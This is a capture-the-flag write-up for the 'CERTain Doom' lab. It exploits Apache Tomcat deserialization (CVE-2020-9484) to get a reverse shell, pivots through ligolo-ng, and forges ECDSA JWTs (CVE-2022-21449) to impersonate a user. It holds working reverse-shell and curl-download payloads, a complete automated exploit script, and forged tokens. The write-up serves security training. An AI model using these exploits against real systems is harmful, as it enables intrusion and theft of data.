CERTain Doom

Bob has since joined the CERT team and developed a nifty new site. Is there more than meets the eye? - by hydragyrum

The following post by 0xb0b is licensed under CC BY 4.0


Recon

We start with an Nmap scan and find four open ports. Two of them are web servers on port 80 and 8080.

The following scan shows the default script scan and service scan of the web server on 8080. This is an Apache Tomcat server in version 9. A more precise version is not specified.

┌──(0xb0b㉿kali)-[~]
└─$ nmap -sC -sV -p 8080 certain-doom.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-13 15:29 EDT
Nmap scan report for certain-doom.thm (10.10.28.185)
Host is up (0.040s latency).
rDNS record for 10.10.28.185: certaindoom.thm

PORT     STATE SERVICE    VERSION
8080/tcp open  http-proxy Apache Tomcat 9?
|_http-title: HTTP Status 404 \xE2\x80\x93 Not Found
|_http-server-header: Apache Tomcat 9?
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 404 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 431
|     Date: Fri, 13 Sep 2024 19:29:24 GMT
|     Connection: close
|     Server: Apache Tomcat 9?
|     <!doctype html><html lang="en"><head><title>HTTP Status 404 
|     Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 
|     Found</h1></body></html>
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Fri, 13 Sep 2024 19:29:24 GMT
|     Connection: close
|     Server: Apache Tomcat 9?
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1></body></html>

Next, we enumerate the directories and pages of the endpoint on port 80 but do not find anything of interest.

Visiting the page gives us an ASCII art rickroll animation. The page redirects us later to a YouTube video.

In the source, we can find a domain and a subdomain. But further enumeration doesn't yield anything of interest.

We move on to the web server on port 8080. Here we have a single site, enumerable: reports.

The site itself does not have an index page.

On the report page, we can upload reports, which could be interesting.

Web Flag

We recall the nmap scan. After a short research on Apache Tomcat version 9, we come across CVE-2020-9484, which allows RCE. With that, we should be able to establish a reverse shell.

The vulnerability exists due to insecure input validation when processing serialized data in uploaded files names. A remote attacker can pass specially crafted file name to the application and execute arbitrary code on the target system.

Further research yields to some POCs, but those rely on an upload page that is not present, and those use paths that are different from those where the files are placed. The following PoC serves as the basis for our exploit and to understand how to exactly get code execution:

The exploit uses ysoserial to generate the payloads to be executed later. The relative path is then specified in the JSESSONID cookie to execute the payload.

But first of all, let's take a look at what happens when an upload is successful. The page is asking for PDF files to upload, but we are able to upload any file type. We get the feedback that the file is saved in /usr/local/tomcat/temp/uploads.

For our exploit, we use the following release of ysoserial:

As in the script, we create a payload that is then downloaded from our attacker machine, whose permissions are customized and then executed.

payload.sh
#!/usr/bin/bash
bash -c 'bash -i >& /dev/tcp/10.8.211.1/4444 0>&1'

In the first attempt, I used Docker for payload creation, but this did not use Java 11, hence the hint with the first flag. To circumvent this issue, we can use the following solution:

Generate Payload to download our payload:

PATH=/usr/lib/jvm/java-11-openjdk-amd64/bin:$PATH java -jar ysoserial-all.jar CommonsCollections2 'curl http://10.8.211.1/payload.sh -o /usr/local/tomcat/temp/uploads/payload.sh' > downloadPayload.session

Next, we upload the payload and intercept the request with Burp Suite to edit the JSESSIONID cookie with the relative path to execute the payload. We forward the request.

With the following path, we got a 500-server response and a connection back to our HTTP server, indicating that our payload worked.

../../../../../temp/uploads/downloadPayload

The exact same steps are taken with the next payloads. We upload them, intercept the request, edit the JSESSIONID cookie, and forward the request.

Change permissions:

PATH=/usr/lib/jvm/java-11-openjdk-amd64/bin:$PATH java -jar ysoserial-all.jar CommonsCollections2 "chmod 777 /usr/local/tomcat/temp/uploads/payload.sh" > chmodPayload.session
../../../../../temp/uploads/chmodPayload

Execute script:

PATH=/usr/lib/jvm/java-11-openjdk-amd64/bin:$PATH java -jar ysoserial-all.jar CommonsCollections2 "bash /usr/local/tomcat/temp/uploads/payload.sh" > executePayload.session
../../../../../temp/uploads/executePayload

After uploading and executing all our payloads, we receive a reverse shell and find the flag (.flag) in the current directory after getting a connection.

To simplify these steps, 0day has provided us with the following script that fully automates everything. The interactive mode can be started using python3 exploit -i.

exploit.py
#!/usr/bin/env python3
import requests
import os
import subprocess
import argparse
import time

# Exploit Title: Apache Tomcat RCE by deserialization (Python Version for CERTain Doom and JDK 11)
# CVE-ID: CVE-2020-9484
# Original Author: Pentestical
# Python Version by: Ryan Montgomery (0day)
# Shoutout to ChatGPT for interactive mode and the cleanup :)

YSOSERIAL_URL = "https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar"
YSOSERIAL_FILENAME = "ysoserial-all.jar"
JAVA_PATH = "/usr/lib/jvm/java-11-openjdk-amd64/bin"  # Java 11 path

def verbose(msg):
    print(f"[{time.strftime('%H:%M:%S')}] {msg}")

def download_ysoserial():
    if not os.path.exists(YSOSERIAL_FILENAME):
        verbose(f"[*] Downloading {YSOSERIAL_FILENAME} from {YSOSERIAL_URL}")
        response = requests.get(YSOSERIAL_URL, stream=True)
        with open(YSOSERIAL_FILENAME, 'wb') as f:
            for chunk in response.iter_content(chunk_size=8192):
                if chunk:
                    f.write(chunk)
        verbose(f"[+] {YSOSERIAL_FILENAME} downloaded successfully")
    else:
        verbose(f"[+] {YSOSERIAL_FILENAME} already exists, skipping download")

def create_payload_files(attacker_ip, attacker_port):
    payload_file = 'payload.sh'
    verbose(f"[+] Creating {payload_file} (reverse shell script)...")

    with open(payload_file, 'w') as f:
        f.write(f"#!/usr/bin/bash\nbash -c 'bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1'\n")

    verbose("[*] Generating downloadPayload.session...")
    subprocess.run([f"{JAVA_PATH}/java", "-jar", YSOSERIAL_FILENAME, "CommonsCollections2",
                    f"curl http://{attacker_ip}/payload.sh -o /usr/local/tomcat/temp/uploads/payload.sh"],
                   stdout=open('downloadPayload.session', 'w'))

    verbose("[*] Generating chmodPayload.session...")
    subprocess.run([f"{JAVA_PATH}/java", "-jar", YSOSERIAL_FILENAME, "CommonsCollections2",
                    "chmod 777 /usr/local/tomcat/temp/uploads/payload.sh"],
                   stdout=open('chmodPayload.session', 'w'))

    verbose("[*] Generating executePayload.session...")
    subprocess.run([f"{JAVA_PATH}/java", "-jar", YSOSERIAL_FILENAME, "CommonsCollections2",
                    "bash /usr/local/tomcat/temp/uploads/payload.sh"],
                   stdout=open('executePayload.session', 'w'))

    verbose(f"[+] All payloads created, {payload_file} is ready.")

def upload_payload(session_id, payload_file, target_ip, target_port):
    verbose(f"[*] Uploading {payload_file} with session ID: {session_id}...")
    url = f"http://{target_ip}:{target_port}/reports/upload"

    headers = {
        'Cookie': f'JSESSIONID={session_id}',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'
    }

    files = {
        'uploadFile': (payload_file, open(payload_file, 'rb'), 'application/octet-stream')
    }

    response = requests.post(url, headers=headers, files=files)
    verbose(f"[*] Server response: {response.status_code} - {response.reason}")

def execute_payloads(target_ip, target_port):
    verbose("[+] Uploading and executing payloads...")

    upload_payload("../../../../../temp/uploads/downloadPayload", "downloadPayload.session", target_ip, target_port)
    upload_payload("../../../../../temp/uploads/chmodPayload", "chmodPayload.session", target_ip, target_port)
    upload_payload("../../../../../temp/uploads/executePayload", "executePayload.session", target_ip, target_port)

    verbose("[+] Payloads executed. Check for your reverse shell.")

def interactive_mode():
    print("[*] Interactive mode selected.")
    attacker_ip = input("Enter your attacker IP: ")
    attacker_port = input("Enter the port to listen for reverse shell: ")
    target_ip = input("Enter the target IP or hostname: ")
    target_port = input("Enter the target port (default: 8080): ")

    return attacker_ip, int(attacker_port), target_ip, int(target_port or 8080)

def main():
    parser = argparse.ArgumentParser(description='CVE-2020-9484 Exploit Script (modified for CERTain Doom)')
    parser.add_argument('-a', '--attacker', help='Attacker IP (for reverse shell)')
    parser.add_argument('-p', '--port', type=int, help='Attacker port (for reverse shell)')
    parser.add_argument('-t', '--target', help='Target IP')
    parser.add_argument('-P', '--tport', type=int, help='Target port (usually 8080)')
    parser.add_argument('-i', '--interactive', action='store_true', help='Run in interactive mode')

    args = parser.parse_args()

    if args.interactive:
        args.attacker, args.port, args.target, args.tport = interactive_mode()

    if not all([args.attacker, args.port, args.target, args.tport]):
        parser.error("All arguments are required in non-interactive mode. Use -i for interactive mode.")

    verbose("[!] Before running this script, make sure to:")
    verbose("    - Start a Python HTTP server in the directory containing payload.sh (this script will create it for you if you didn't make it yourself):")
    verbose("      sudo python3 -m http.server 80")
    verbose(f"    - Start a Netcat listener on port {args.port}:")
    verbose(f"      nc -nvlp {args.port}")
    input("[*] Press Enter to continue once the web server and Netcat listener are running...")

    download_ysoserial()

    create_payload_files(args.attacker, args.port)
    execute_payloads(args.target, args.tport)

if __name__ == "__main__":
    main()

User's Flag

On the system, we see that we are in a docker container. Unfortunately, no docker escape is possible here, but also not necessary.

In the host file, we find two interesting entries: 172.18.0.2 and 172.20.0.4. These are the addresses for this container. There may be other Docker containers in those networks.

Setup Ligolo-NG

The next thing we want to do is to make those networks, 172.18.0.0/16 and 172.20.0.0/16 available to us. To achieve this, we use ligolo-ng so that we don't have to try every single possible address with chisel.

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

First, we set up a TUN (network tunnel) interface named "ligolo" and configuring routes to forward traffic for specific IP ranges (240.0.0.1, 172.18.0.0/16, and 172.20.0.0/16) through the tunnel.

┌──(0xb0b㉿kali)-[~]
└─$ sudo ip tuntap add user 0xb0b mode tun ligolo
                                                                                                                                                                                         
┌──(0xb0b㉿kali)-[~]
└─$ sudo ip link set ligolo up                   
                                                                                                                                                                                         
┌──(0xb0b㉿kali)-[~]
└─$ sudo ip route add 240.0.0.1 dev ligolo

┌──(0xb0b㉿kali)-[~]
└─$ sudo ip route add 172.18.0.0/16 dev ligolo  

┌──(0xb0b㉿kali)-[~]
└─$ sudo ip route add 172.20.0.0/16 dev ligolo

Next, we download the latest release of ligolo-ng. The proxy and the agent are in the amd64 version.

On our attack machine, we start the proxy server.

./proxy -selfcert

Next on the target machine we start the agent to connect to our proxy.

bash-4.2# curl http://10.8.211.1/agent -o agent 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 5888k  100 5888k    0     0  4199k      0  0:00:01  0:00:01 --:--:-- 4196k
bash-4.2# chmod +x agent
bash-4.2# ./agent -connect 10.8.211.1:11601 -ignore-cert
WARN[0000] warning, certificate validation disabled     
INFO[0000] Connection established                        addr="10.8.211.1:11601"

We receive a message on our ligolo-ng proxy that an agent has joined. We select the session using session and then start it.

We are now able to reach the machines in the networks 172.18.0.0/16 and 172.20.0.0/16.

The machines of interest to us are 172.20.0.3 and 172.20.0.2.

It is possible that the results of the nmap scan are different because the IP addresses could be swapped.

Recon

We have a web server running on 172.20.0.2 on port 80.

And we have a web server running on 172.20.0.3 on port 8080.

On the machine that has a web server running on port 80, we do not initially recognize anything conspicuous except a lot of JavaScript.

There seems nothing to detect on the machine running the web server on port 8080.

Here, on 172.20.0.2, we have a library for documents. We can search for them or upload them.

When filtering for a few documents, however, we receive the response 403, CORS Rejected.

A 403 status code with a "CORS Rejected" message typically indicates that the server is rejecting the request due to Cross-Origin Resource Sharing (CORS) policy violations.

The request is being made from a different domain, protocol, or port than the server is configured to allow. We see that the Host is already set to library-back:8080. So this might be the backend of the library page. This all might be set by the JavaScript in the background.

Changing the Origin to library-back header gives us a 401.

So we add the following entry to our /etc/hosts file:

But still, we receive CORS errors.

With another addition to our /etc/hosts file, we retry the request.

With a new filter request,...

... we are now reditected to a login page.

We capture the login request to see what is happening. It makes a post request to the backend.

With the information we got so far from the challenge description, we were able to derive a username and password. With a successful login request, we receive a credz cookie. Using those credentials on the login page, we get redirected back to it. Something seems off.

Source Code Analysis

Let's move on to analyze the source code to find the error or other useful stuff. We are able to find some endpoints in the backend. We could view the documents like we already know them by requesting /documents with the parameters name and author. Furthermore, we are able to filter for hidden documents.

In addition, we are able to download them via /documents/download/file.name.

Exfiltration

Now that we have something like a session cookie, we can try to use it directly at the backend. A request for documents unfortunately comes to nothing with a 401.

But if we add the cookie credz, we get insight.

http://library-back:8080/documents

When we search for documents with the author bob, we only find one entry.

http://library-back:8080/documents?author=bob

Since we don't know any other authors, we have to help ourselves in another way. Either we fuzz with a list of usernames or we don't specify the parameters completely. Here we also receive the files of the user hydra. What is also noticeable is that all the files listed are not hidden.

http://library-back:8080/documents?author

If we search for hidden files, we find two more. Only the ones of our user bob.

http://library-back:8080/documents?hidden=true

Furthermore, we can also query the information on files directly by specifying the ID.

Next, we try to download all the files we find.

http://library-back:8080/documents/download/hello.txt

Another rickroll.

An interesting todo list

And last but not least, the chat.log. Here we find the second flag and a hint on how to get to the third.

Super Secret Flag

After further enumerating, we have found the endpoint /documents/count. Here we can determine the number of documents available. There are five so we are missing one.

http://library-back:8080/documents/count

What is striking about the IDs is that they hardly differ except for the last digits. We can therefore fuzz these for further documents.

The ID for the chat.logs seems to be the next highest. If we increase this by 1, we find the hidden document specs.pdf.

library-back:8080/documents/64d35510774649ab35626981

But unfortunately, we cannot open or download this.

The chat between hydra and bob was about the authentication method used. Possibly, this refers to the backend. It seems not to be a standard JWT token used with a vulnerability present with the used outdated Java version and chosen algorithm. According to the todo list, this is not completely implemented yet.

[2023-08-08 18:53] Hydra: It's a standard JWT, no?
[2023-08-08 18:54] Bob: Yeah, but what claims should we use?
[2023-08-08 18:54] Hydra: Just use the standard framework auth.
[2023-08-08 18:55] Hydra: Oh right, the algorithm you're using has a major vulnerability though, you might want to update that or at least patch your Java.

This could be an indicator of CVE-2022-21449.

There is a proof of concept for this, using a manipulated signature that passes the checks on the jwt token.

So let's recall, we can't open the specs.pdf as the user bob, but we know that the file belongs to hydra. Hydra may have more access rights, and in addition to authentication using the credz cookie, there is also incomplete authentication using jwt. The idea can now be to impersonate the user hydra by means of a manipulated jwt token and thus gain access to the document.

We first look at the jwt token in the PoC using jwt.io. Oh man, Rick Astley again.

eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJSaWNrIEFzdGxleSIsImFkbWluIjp0cnVlLCJpYXQiOjE2NTA0NjY1MDIsImV4cCI6MTkwMDQ3MDEwMn0.R05LldFQf7kay5-8hPeJYnYD_ehxKAKFXo-t6Qt7ZKUKkQSQowOHeiZBI9ierO1q6AZlJ4GsXFsxhPrj6m4cMg

We submit a token with a valid signature. To do this, we use the Authorization header. After submitting, we receive a 401 response.

Next, we use the manipulatede one, which just appends an ECDSA signature with r=s=0 encoded in DER, MAYCAQACAQA=.

eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJSaWNrIEFzdGxleSIsImFkbWluIjp0cnVlLCJpYXQiOjE2NTA0NjY1MDIsImV4cCI6MTkwMDQ3MDEwMn0.MAYCAQACAQA

And this time we receive a 403, which might work. We get a different response, possibly using the wrong claims or values. This only worked with a header using the algorithm ES256.

With the following claim, we have our first success:

eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJFUzI1NiJ9.eyJncm91cHMiOlsidXNlciJdfQ.MAYCAQACAQA

{
  "groups": [
    "user"
  ]
}

We don't get a 403, but a 500. It seems like it's still a bit broken, since we can't filter.

But we can look up the document of our desire. The claim and its value seem to be correct. We might miss another claim with the correct value.

And we still cannot download it.

We did not specify the user yet, so by trying different claims, we finally had a hit using the upn (User Principal Name) with the value hydra.

eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJFUzI1NiJ9.eyJ1cG4iOiJoeWRyYSIsImdyb3VwcyI6WyJ1c2VyIl19.MAYCAQACAQA

{
  "upn": "hydra",
  "groups": [
    "user"
  ]
}

Now we are able to find the hidden files of the user hydra.

Furthermore we can now download the PDF.

And to avoid the last troll, we skip the last page and head to page 8, where we find the last flag hidden.

Last updated